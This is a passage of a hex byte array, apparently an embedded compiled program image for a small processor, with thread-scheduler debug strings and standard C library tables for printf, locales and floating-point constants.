0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x80, 0x63, 0x20, 0x00,
0xb0, 0x00, 0x7f, 0xf0,
0x34, 0x63, 0x00, 0x00,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0xb6, 0x0f, 0x00, 0x08,
0x80, 0x00, 0x00, 0x00,
0x10, 0x60, 0x00, 0x00,
0x30, 0x80, 0x20, 0x00,
0xf8, 0x86, 0x00, 0x04,
0xf8, 0x66, 0x00, 0x2c,
0xb6, 0x0f, 0x00, 0x08,
0x80, 0x00, 0x00, 0x00,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x60, 0x00, 0x01,
0x30, 0x21, 0xff, 0xe4,
0xf9, 0xe1, 0x00, 0x00,
0xb9, 0xf4, 0x01, 0x8c,
0x80, 0x00, 0x00, 0x00,
0x30, 0x80, 0x00, 0x1d,
0xf8, 0x83, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0x30, 0x60, 0xff, 0xff,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x1c,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0x60, 0x0a, 0x3c,
0x30, 0x21, 0xff, 0xe4,
0xf9, 0xe1, 0x00, 0x00,
0xbc, 0x03, 0x00, 0x4c,
0x10, 0x83, 0x00, 0x00,
0x10, 0x63, 0x28, 0x00,
0xb0, 0x00, 0x00, 0x01,
0xf8, 0x60, 0x0a, 0x3c,
0xb0, 0x00, 0x00, 0x01,
0x22, 0x40, 0x22, 0x51,
0x16, 0x43, 0x90, 0x03,
0xbe, 0xb2, 0x00, 0x20,
0x10, 0x64, 0x00, 0x00,
0xb9, 0xf4, 0x01, 0x34,
0x80, 0x00, 0x00, 0x00,
0x30, 0x80, 0x00, 0x0c,
0xf8, 0x83, 0x00, 0x00,
0x30, 0x80, 0xff, 0xff,
0x10, 0x64, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x1c,
0xb0, 0x00, 0x00, 0x01,
0x30, 0x60, 0x22, 0x50,
0xb0, 0x00, 0x00, 0x01,
0xf8, 0x60, 0x0a, 0x3c,
0xb8, 0x10, 0xff, 0xac,
0x10, 0x83, 0x00, 0x00,
0x30, 0x21, 0xff, 0xd8,
0xfa, 0xc1, 0x00, 0x20,
0xfa, 0xe1, 0x00, 0x24,
0xf9, 0xe1, 0x00, 0x00,
0xfa, 0x61, 0x00, 0x1c,
0x12, 0xc7, 0x00, 0x00,
0xbe, 0x67, 0x00, 0x4c,
0x12, 0xe6, 0x00, 0x00,
0xb8, 0x10, 0x00, 0x20,
0x12, 0x60, 0x00, 0x00,
0x10, 0xa3, 0x00, 0x00,
0xb9, 0xf4, 0x01, 0xd4,
0x32, 0x73, 0x00, 0x01,
0x16, 0x53, 0xb0, 0x00,
0xbe, 0x12, 0x00, 0x30,
0x10, 0x76, 0x00, 0x00,
0xc0, 0x77, 0x98, 0x00,
0xaa, 0x43, 0x00, 0x0a,
0xbe, 0x32, 0xff, 0xe0,
0x30, 0xa0, 0x00, 0x0d,
0xb9, 0xf4, 0x01, 0xb0,
0x80, 0x00, 0x00, 0x00,
0xc0, 0x77, 0x98, 0x00,
0xb8, 0x10, 0xff, 0xd0,
0x10, 0xa3, 0x00, 0x00,
0x10, 0x76, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x1c,
0xea, 0xc1, 0x00, 0x20,
0xea, 0xe1, 0x00, 0x24,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x28,
0x30, 0x21, 0xff, 0xd8,
0xfa, 0xc1, 0x00, 0x20,
0xfa, 0xe1, 0x00, 0x24,
0xf9, 0xe1, 0x00, 0x00,
0xfa, 0x61, 0x00, 0x1c,
0x12, 0xe7, 0x00, 0x00,
0x12, 0xc6, 0x00, 0x00,
0xbe, 0x67, 0x00, 0x3c,
0x30, 0x60, 0x00, 0x01,
0x12, 0x60, 0x00, 0x00,
0xb9, 0xf4, 0x00, 0x7c,
0x80, 0x00, 0x00, 0x00,
0xd0, 0x76, 0x98, 0x00,
0xaa, 0x43, 0x00, 0x0a,
0xbc, 0x12, 0x00, 0x1c,
0xaa, 0x43, 0x00, 0x0d,
0xbe, 0x12, 0x00, 0x18,
0x30, 0x73, 0x00, 0x01,
0x32, 0x73, 0x00, 0x01,
0x16, 0x53, 0xb8, 0x00,
0xbc, 0x32, 0xff, 0xd8,
0x30, 0x73, 0x00, 0x01,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x1c,
0xea, 0xc1, 0x00, 0x20,
0xea, 0xe1, 0x00, 0x24,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x28,
0xb6, 0x0f, 0x00, 0x08,
0x10, 0x60, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0x60, 0x04, 0xa4,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x63, 0x00, 0x0c,
0xb6, 0x11, 0x00, 0x00,
0x80, 0x00, 0x00, 0x00,
0xb6, 0x0f, 0x00, 0x08,
0x80, 0x00, 0x00, 0x00,
0xb6, 0x0f, 0x00, 0x08,
0x80, 0x00, 0x00, 0x00,
0xb8, 0x00, 0x00, 0x00,
0xb0, 0x00, 0x84, 0x00,
0x30, 0xa0, 0x00, 0x00,
0x30, 0x21, 0xff, 0xe4,
0xf9, 0xe1, 0x00, 0x00,
0xb9, 0xf4, 0x01, 0x14,
0x80, 0x00, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0x90, 0x63, 0x00, 0x60,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x1c,
0x30, 0x21, 0xff, 0xb0,
0xf9, 0xe1, 0x00, 0x00,
0xf8, 0x61, 0x00, 0x20,
0xf8, 0x81, 0x00, 0x24,
0xf8, 0xa1, 0x00, 0x28,
0xf8, 0xc1, 0x00, 0x2c,
0xf8, 0xe1, 0x00, 0x30,
0xf9, 0x01, 0x00, 0x34,
0xf9, 0x21, 0x00, 0x38,
0xf9, 0x41, 0x00, 0x3c,
0xf9, 0x61, 0x00, 0x40,
0xf9, 0x81, 0x00, 0x44,
0xfa, 0x21, 0x00, 0x48,
0x95, 0x60, 0x80, 0x01,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0xa0, 0x09, 0xbc,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0x60, 0x09, 0xb8,
0xfa, 0x41, 0x00, 0x4c,
0xf9, 0x61, 0x00, 0x1c,
0x99, 0xfc, 0x18, 0x00,
0x80, 0x00, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xe9, 0x61, 0x00, 0x1c,
0xe8, 0x61, 0x00, 0x20,
0xe8, 0x81, 0x00, 0x24,
0x94, 0x0b, 0xc0, 0x01,
0xe8, 0xa1, 0x00, 0x28,
0xe8, 0xc1, 0x00, 0x2c,
0xe8, 0xe1, 0x00, 0x30,
0xe9, 0x01, 0x00, 0x34,
0xe9, 0x21, 0x00, 0x38,
0xe9, 0x41, 0x00, 0x3c,
0xe9, 0x61, 0x00, 0x40,
0xe9, 0x81, 0x00, 0x44,
0xea, 0x21, 0x00, 0x48,
0xea, 0x41, 0x00, 0x4c,
0xb6, 0x2e, 0x00, 0x00,
0x30, 0x21, 0x00, 0x50,
0xb0, 0x00, 0x00, 0x01,
0xf8, 0xa0, 0x09, 0xb8,
0xb0, 0x00, 0x00, 0x01,
0xf8, 0xc0, 0x09, 0xbc,
0xb6, 0x0f, 0x00, 0x08,
0x80, 0x00, 0x00, 0x00,
0x90, 0xc5, 0x00, 0x60,
0xb0, 0x00, 0x84, 0x00,
0x30, 0xa0, 0x00, 0x00,
0x30, 0x21, 0xff, 0xe4,
0xf9, 0xe1, 0x00, 0x00,
0xb9, 0xf4, 0x00, 0x14,
0x80, 0x00, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x1c,
0xa4, 0xc6, 0x00, 0xff,
0x30, 0x85, 0x00, 0x08,
0xe8, 0x64, 0x00, 0x00,
0xa4, 0x63, 0x00, 0x08,
0xbc, 0x23, 0xff, 0xf8,
0xf8, 0xc5, 0x00, 0x04,
0xb6, 0x0f, 0x00, 0x08,
0x80, 0x00, 0x00, 0x00,
0x30, 0x85, 0x00, 0x08,
0xe8, 0x64, 0x00, 0x00,
0xa4, 0x63, 0x00, 0x01,
0xbc, 0x03, 0xff, 0xf8,
0xe8, 0x65, 0x00, 0x00,
0xb6, 0x0f, 0x00, 0x08,
0xa4, 0x63, 0x00, 0xff,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0x60, 0x0a, 0x40,
0x30, 0x21, 0xff, 0xe4,
0xf9, 0xe1, 0x00, 0x00,
0xbc, 0x03, 0x00, 0x0c,
0x99, 0xfc, 0x18, 0x00,
0x80, 0x00, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0x60, 0x09, 0xc0,
0xbc, 0x23, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x1c,
0xb0, 0x00, 0x00, 0x01,
0xf8, 0xa0, 0x0a, 0x40,
0xb6, 0x0f, 0x00, 0x08,
0x80, 0x00, 0x00, 0x00,
0xb6, 0x0f, 0x00, 0x08,
0x80, 0x00, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0x60, 0x09, 0xc8,
0x30, 0x21, 0xff, 0xe0,
0xfa, 0x61, 0x00, 0x1c,
0xf9, 0xe1, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x01,
0x32, 0x60, 0x09, 0xc8,
0xaa, 0x43, 0xff, 0xff,
0xbc, 0x12, 0x00, 0x18,
0x99, 0xfc, 0x18, 0x00,
0x32, 0x73, 0xff, 0xfc,
0xe8, 0x73, 0x00, 0x00,
0xaa, 0x43, 0xff, 0xff,
0xbc, 0x32, 0xff, 0xf0,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x1c,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x20,
0x30, 0x21, 0xff, 0xf8,
0xd9, 0xe0, 0x08, 0x00,
0xb0, 0x00, 0xff, 0xff,
0xb9, 0xf4, 0x02, 0xdc,
0x80, 0x00, 0x00, 0x00,
0xb9, 0xf4, 0xff, 0xa4,
0x80, 0x00, 0x00, 0x00,
0xc9, 0xe0, 0x08, 0x00,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x08,
0x30, 0x21, 0xff, 0xf8,
0xd9, 0xe0, 0x08, 0x00,
0xb0, 0x00, 0xff, 0xff,
0xb9, 0xf4, 0x02, 0x44,
0x80, 0x00, 0x00, 0x00,
0xc9, 0xe0, 0x08, 0x00,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x08,
0x49, 0x4e, 0x54, 0x52,
0x3a, 0x20, 0x41, 0x73,
0x73, 0x6f, 0x63, 0x20,
0x49, 0x6e, 0x74, 0x72,
0x00, 0x00, 0x00, 0x00,
0x49, 0x4e, 0x54, 0x52,
0x3a, 0x20, 0x52, 0x75,
0x6e, 0x20, 0x53, 0x63,
0x68, 0x65, 0x64, 0x00,
0x4a, 0x4f, 0x49, 0x4e,
0x20, 0x45, 0x52, 0x52,
0x4f, 0x52, 0x3d, 0x30,
0x78, 0x25, 0x38, 0x2e,
0x38, 0x78, 0x0a, 0x00,
0x45, 0x52, 0x52, 0x4f,
0x52, 0x3a, 0x20, 0x28,
0x4f, 0x50, 0x3d, 0x59,
0x49, 0x45, 0x4c, 0x44,
0x29, 0x20, 0x28, 0x53,
0x54, 0x41, 0x3d, 0x25,
0x23, 0x30, 0x38, 0x78,
0x29, 0x0a, 0x00, 0x00,
0x45, 0x78, 0x69, 0x74,
0x20, 0x72, 0x65, 0x74,
0x75, 0x72, 0x6e, 0x65,
0x64, 0x20, 0x61, 0x6e,
0x20, 0x65, 0x72, 0x72,
0x6f, 0x72, 0x3a, 0x20,
0x28, 0x53, 0x54, 0x41,
0x3d, 0x30, 0x78, 0x25,
0x38, 0x2e, 0x38, 0x78,
0x29, 0x0a, 0x00, 0x00,
0x09, 0x53, 0x63, 0x68,
0x65, 0x64, 0x20, 0x2d,
0x20, 0x28, 0x51, 0x55,
0x45, 0x3d, 0x30, 0x78,
0x25, 0x32, 0x2e, 0x32,
0x78, 0x29, 0x20, 0x28,
0x4e, 0x58, 0x54, 0x3d,
0x30, 0x78, 0x25, 0x32,
0x2e, 0x32, 0x78, 0x29,
0x20, 0x28, 0x50, 0x52,
0x49, 0x3d, 0x30, 0x78,
0x25, 0x32, 0x2e, 0x32,
0x78, 0x29, 0x0a, 0x00,
0x53, 0x45, 0x54, 0x55,
0x50, 0x3a, 0x20, 0x28,
0x45, 0x52, 0x52, 0x3d,
0x49, 0x4e, 0x56, 0x41,
0x4c, 0x49, 0x44, 0x20,
0x54, 0x49, 0x44, 0x29,
0x20, 0x28, 0x54, 0x49,
0x44, 0x3d, 0x25, 0x64,
0x29, 0x0a, 0x00, 0x00,
0x53, 0x45, 0x54, 0x55,
0x50, 0x3a, 0x20, 0x28,
0x45, 0x52, 0x52, 0x3d,
0x49, 0x4e, 0x56, 0x41,
0x4c, 0x49, 0x44, 0x20,
0x53, 0x54, 0x41, 0x43,
0x4b, 0x20, 0x53, 0x49,
0x5a, 0x45, 0x29, 0x20,
0x28, 0x53, 0x49, 0x5a,
0x45, 0x3d, 0x25, 0x64,
0x29, 0x0a, 0x00, 0x00,
0x53, 0x45, 0x54, 0x55,
0x50, 0x3a, 0x20, 0x28,
0x45, 0x52, 0x52, 0x3d,
0x4e, 0x4f, 0x20, 0x53,
0x54, 0x41, 0x43, 0x4b,
0x20, 0x4d, 0x45, 0x4d,
0x4f, 0x52, 0x59, 0x29,
0x0a, 0x00, 0x00, 0x00,
0x00, 0x01, 0x04, 0xa8,
0x43, 0x00, 0x00, 0x00,
0x0a, 0x00, 0x00, 0x00,
0x30, 0x31, 0x32, 0x33,
0x34, 0x35, 0x36, 0x37,
0x38, 0x39, 0x61, 0x62,
0x63, 0x64, 0x65, 0x66,
0x00, 0x00, 0x00, 0x00,
0x49, 0x4e, 0x46, 0x00,
0x4e, 0x41, 0x4e, 0x00,
0x6e, 0x61, 0x6e, 0x00,
0x30, 0x31, 0x32, 0x33,
0x34, 0x35, 0x36, 0x37,
0x38, 0x39, 0x41, 0x42,
0x43, 0x44, 0x45, 0x46,
0x00, 0x00, 0x00, 0x00,
0x62, 0x75, 0x67, 0x20,
0x69, 0x6e, 0x20, 0x76,
0x66, 0x70, 0x72, 0x69,
0x6e, 0x74, 0x66, 0x3a,
0x20, 0x62, 0x61, 0x64,
0x20, 0x62, 0x61, 0x73,
0x65, 0x00, 0x00, 0x00,
0x69, 0x6e, 0x66, 0x00,
0x30, 0x00, 0x00, 0x00,
0x2e, 0x00, 0x00, 0x00,
0x28, 0x6e, 0x75, 0x6c,
0x6c, 0x29, 0x00, 0x00,
0x00, 0x00, 0x32, 0x38,
0x00, 0x00, 0x22, 0x50,
0x00, 0x00, 0x22, 0x50,
0x00, 0x00, 0x32, 0x20,
0x00, 0x00, 0x22, 0x50,
0x00, 0x00, 0x22, 0x50,
0x00, 0x00, 0x22, 0x50,
0x00, 0x00, 0x22, 0x50,
0x00, 0x00, 0x22, 0x50,
0x00, 0x00, 0x22, 0x50,
0x00, 0x00, 0x31, 0xf0,
0x00, 0x00, 0x32, 0x0c,
0x00, 0x00, 0x22, 0x50,
0x00, 0x00, 0x2d, 0xb0,
0x00, 0x00, 0x35, 0x44,
0x00, 0x00, 0x22, 0x50,
0x00, 0x00, 0x35, 0x2c,
0x00, 0x00, 0x32, 0x54,
0x00, 0x00, 0x32, 0x54,
0x00, 0x00, 0x32, 0x54,
0x00, 0x00, 0x32, 0x54,
0x00, 0x00, 0x32, 0x54,
0x00, 0x00, 0x32, 0x54,
0x00, 0x00, 0x32, 0x54,
0x00, 0x00, 0x32, 0x54,
0x00, 0x00, 0x32, 0x54,
0x00, 0x00, 0x22, 0x50,
0x00, 0x00, 0x22, 0x50,
0x00, 0x00, 0x22, 0x50,
0x00, 0x00, 0x22, 0x50,
0x00, 0x00, 0x22, 0x50,
0x00, 0x00, 0x22, 0x50,
0x00, 0x00, 0x22, 0x50,
0x00, 0x00, 0x22, 0x50,
0x00, 0x00, 0x22, 0x50,
0x00, 0x00, 0x33, 0x3c,
0x00, 0x00, 0x2c, 0x58,
0x00, 0x00, 0x32, 0x94,
0x00, 0x00, 0x32, 0x94,
0x00, 0x00, 0x32, 0x94,
0x00, 0x00, 0x22, 0x50,
0x00, 0x00, 0x22, 0x50,
0x00, 0x00, 0x22, 0x50,
0x00, 0x00, 0x22, 0x50,
0x00, 0x00, 0x31, 0x78,
0x00, 0x00, 0x22, 0x50,
0x00, 0x00, 0x22, 0x50,
0x00, 0x00, 0x2c, 0xb0,
0x00, 0x00, 0x22, 0x50,
0x00, 0x00, 0x22, 0x50,
0x00, 0x00, 0x22, 0x50,
0x00, 0x00, 0x34, 0x54,
0x00, 0x00, 0x22, 0x50,
0x00, 0x00, 0x2c, 0xf4,
0x00, 0x00, 0x22, 0x50,
0x00, 0x00, 0x22, 0x50,
0x00, 0x00, 0x34, 0x00,
0x00, 0x00, 0x22, 0x50,
0x00, 0x00, 0x22, 0x50,
0x00, 0x00, 0x22, 0x50,
0x00, 0x00, 0x22, 0x50,
0x00, 0x00, 0x22, 0x50,
0x00, 0x00, 0x22, 0x50,
0x00, 0x00, 0x22, 0x50,
0x00, 0x00, 0x22, 0x50,
0x00, 0x00, 0x22, 0x50,
0x00, 0x00, 0x22, 0x50,
0x00, 0x00, 0x33, 0x3c,
0x00, 0x00, 0x2c, 0x64,
0x00, 0x00, 0x32, 0x94,
0x00, 0x00, 0x32, 0x94,
0x00, 0x00, 0x32, 0x94,
0x00, 0x00, 0x31, 0x60,
0x00, 0x00, 0x2c, 0x64,
0x00, 0x00, 0x22, 0x50,
0x00, 0x00, 0x22, 0x50,
0x00, 0x00, 0x31, 0xd0,
0x00, 0x00, 0x22, 0x50,
0x00, 0x00, 0x31, 0x90,
0x00, 0x00, 0x2c, 0xbc,
0x00, 0x00, 0x34, 0xf4,
0x00, 0x00, 0x34, 0xdc,
0x00, 0x00, 0x22, 0x50,
0x00, 0x00, 0x34, 0x54,
0x00, 0x00, 0x22, 0x50,
0x00, 0x00, 0x2d, 0x00,
0x00, 0x00, 0x22, 0x50,
0x00, 0x00, 0x22, 0x50,
0x00, 0x00, 0x34, 0xcc,
0x30, 0x30, 0x30, 0x30,
0x30, 0x30, 0x30, 0x30,
0x30, 0x30, 0x30, 0x30,
0x30, 0x30, 0x30, 0x30,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x43, 0x2d, 0x55, 0x54,
0x46, 0x2d, 0x38, 0x00,
0x43, 0x2d, 0x53, 0x4a,
0x49, 0x53, 0x00, 0x00,
0x43, 0x2d, 0x45, 0x55,
0x43, 0x4a, 0x50, 0x00,
0x43, 0x2d, 0x4a, 0x49,
0x53, 0x00, 0x00, 0x00,
0x49, 0x6e, 0x66, 0x69,
0x6e, 0x69, 0x74, 0x79,
0x00, 0x00, 0x00, 0x00,
0x4e, 0x61, 0x4e, 0x00,
0x30, 0x00, 0x00, 0x00,
0x00, 0x00, 0x67, 0x70,
0x00, 0x00, 0x67, 0x70,
0x00, 0x00, 0x67, 0x4c,
0x00, 0x00, 0x67, 0xd0,
0x00, 0x00, 0x67, 0x78,
0x00, 0x00, 0x67, 0x84,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x43, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x2e, 0x00, 0x00, 0x00,
0x00, 0x01, 0x02, 0x10,
0x00, 0x01, 0x02, 0x0c,
0x00, 0x01, 0x02, 0x0c,
0x00, 0x01, 0x02, 0x0c,
0x00, 0x01, 0x02, 0x0c,
0x00, 0x01, 0x02, 0x0c,
0x00, 0x01, 0x02, 0x0c,
0x00, 0x01, 0x02, 0x0c,
0x00, 0x01, 0x02, 0x0c,
0x00, 0x01, 0x02, 0x0c,
0x7f, 0x7f, 0x7f, 0x7f,
0x7f, 0x7f, 0x7f, 0x7f,
0x49, 0x53, 0x4f, 0x2d,
0x38, 0x38, 0x35, 0x39,
0x2d, 0x31, 0x00, 0x00,
0x00, 0x01, 0x02, 0x44,
0x3f, 0xf0, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x40, 0x24, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x40, 0x59, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x40, 0x8f, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00,
0x40, 0xc3, 0x88, 0x00,
0x00, 0x00, 0x00, 0x00,
0x40, 0xf8, 0x6a, 0x00,
0x00, 0x00, 0x00, 0x00,
0x41, 0x2e, 0x84, 0x80,
0x00, 0x00, 0x00, 0x00,
0x41, 0x63, 0x12, 0xd0,
0x00, 0x00, 0x00, 0x00,
0x41, 0x97, 0xd7, 0x84,
0x00, 0x00, 0x00, 0x00,
0x41, 0xcd, 0xcd, 0x65,
0x00, 0x00, 0x00, 0x00,
0x42, 0x02, 0xa0, 0x5f,
0x20, 0x00, 0x00, 0x00,
0x42, 0x37, 0x48, 0x76,
0xe8, 0x00, 0x00, 0x00,
0x42, 0x6d, 0x1a, 0x94,
0xa2, 0x00, 0x00, 0x00,
0x42, 0xa2, 0x30, 0x9c,
0xe5, 0x40, 0x00, 0x00,
0x42, 0xd6, 0xbc, 0xc4,
0x1e, 0x90, 0x00, 0x00,
0x43, 0x0c, 0x6b, 0xf5,
0x26, 0x34, 0x00, 0x00,
0x43, 0x41, 0xc3, 0x79,
0x37, 0xe0, 0x80, 0x00,
0x43, 0x76, 0x34, 0x57,
0x85, 0xd8, 0xa0, 0x00,
0x43, 0xab, 0xc1, 0x6d,
0x67, 0x4e, 0xc8, 0x00,
0x43, 0xe1, 0x58, 0xe4,
0x60, 0x91, 0x3d, 0x00,
0x44, 0x15, 0xaf, 0x1d,
0x78, 0xb5, 0x8c, 0x40,
0x44, 0x4b, 0x1a, 0xe4,
0xd6, 0xe2, 0xef, 0x50,
0x44, 0x80, 0xf0, 0xcf,
0x06, 0x4d, 0xd5, 0x92,
0x44, 0xb5, 0x2d, 0x02,
0xc7, 0xe1, 0x4a, 0xf6,
0x44, 0xea, 0x78, 0x43,
0x79, 0xd9, 0x9d, 0xb4,
0x43, 0x41, 0xc3, 0x79,
0x37, 0xe0, 0x80, 0x00,
0x46, 0x93, 0xb8, 0xb5,
0xb5, 0x05, 0x6e, 0x17,
0x4d, 0x38, 0x4f, 0x03,
0xe9, 0x3f, 0xf9, 0xf5,
0x5a, 0x82, 0x77, 0x48,
0xf9, 0x30, 0x1d, 0x32,
0x75, 0x15, 0x4f, 0xdd,
0x7f, 0x73, 0xbf, 0x3c,
0x3c, 0x9c, 0xd2, 0xb2,
0x97, 0xd8, 0x89, 0xbc,
0x39, 0x49, 0xf6, 0x23,
0xd5, 0xa8, 0xa7, 0x33,
0x32, 0xa5, 0x0f, 0xfd,
0x44, 0xf4, 0xa7, 0x3d,
0x25, 0x5b, 0xba, 0x08,
0xcf, 0x8c, 0x97, 0x9d,
0x0a, 0xc8, 0x06, 0x28,
0x64, 0xac, 0x6f, 0x43,
0x00, 0x00, 0x00, 0x05,
0x00, 0x00, 0x00, 0x19,
0x00, 0x00, 0x00, 0x7d,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x01, 0x02, 0x02,
0x03, 0x03, 0x03, 0x03,
0x04, 0x04, 0x04, 0x04,
0x04, 0x04, 0x04, 0x04,
0x05, 0x05, 0x05, 0x05,
0x05, 0x05, 0x05, 0x05,
0x05, 0x05, 0x05, 0x05,
0x05, 0x05, 0x05, 0x05,
0x06, 0x06, 0x06, 0x06,
0x06, 0x06, 0x06, 0x06,
0x06, 0x06, 0x06, 0x06,
0x06, 0x06, 0x06, 0x06,
0x06, 0x06, 0x06, 0x06,
0x06, 0x06, 0x06, 0x06,
0x06, 0x06, 0x06, 0x06,
0x06, 0x06, 0x06, 0x06,
0x07, 0x07, 0x07, 0x07,
0x07, 0x07, 0x07, 0x07,
0x07, 0x07, 0x07, 0x07,
0x07, 0x07, 0x07, 0x07,
0x07, 0x07, 0x07, 0x07,
0x07, 0x07, 0x07, 0x07,
0x07, 0x07, 0x07, 0x07,
0x07, 0x07, 0x07, 0x07,
0x07, 0x07, 0x07, 0x07,
0x07, 0x07, 0x07, 0x07,
0x07, 0x07, 0x07, 0x07,
0x07, 0x07, 0x07, 0x07,
0x07, 0x07, 0x07, 0x07,
0x07, 0x07, 0x07, 0x07,
0x07, 0x07, 0x07, 0x07,
0x07, 0x07, 0x07, 0x07,
0x08, 0x08, 0x08, 0x08,
0x08, 0x08, 0x08, 0x08,
0x08, 0x08, 0x08, 0x08,
0x08, 0x08, 0x08, 0x08,
0x08, 0x08, 0x08, 0x08,
0x08, 0x08, 0x08, 0x08,
0x08, 0x08, 0x08, 0x08,
0x08, 0x08, 0x08, 0x08,
0x08, 0x08, 0x08, 0x08,
0x08, 0x08, 0x08, 0x08,
0x08, 0x08, 0x08, 0x08,
0x08, 0x08, 0x08, 0x08,
0x08, 0x08, 0x08, 0x08,
0x08, 0x08, 0x08, 0x08,
0x08, 0x08, 0x08, 0x08,
0x08, 0x08, 0x08, 0x08,
0x08, 0x08, 0x08, 0x08,
0x08, 0x08, 0x08, 0x08,
0x08, 0x08, 0x08, 0x08,
0x08, 0x08, 0x08, 0x08,
0x08, 0x08, 0x08, 0x08,
0x08, 0x08, 0x08, 0x08,
0x08, 0x08, 0x08, 0x08,
0x08, 0x08, 0x08, 0x08,
0x08, 0x08, 0x08, 0x08,
0x08, 0x08, 0x08, 0x08,
0x08, 0x08, 0x08, 0x08,
0x08, 0x08, 0x08, 0x08,
0x08, 0x08, 0x08, 0x08,
0x08, 0x08, 0x08, 0x08,
0x08, 0x08, 0x08, 0x08,
0x08, 0x08, 0x08, 0x08,
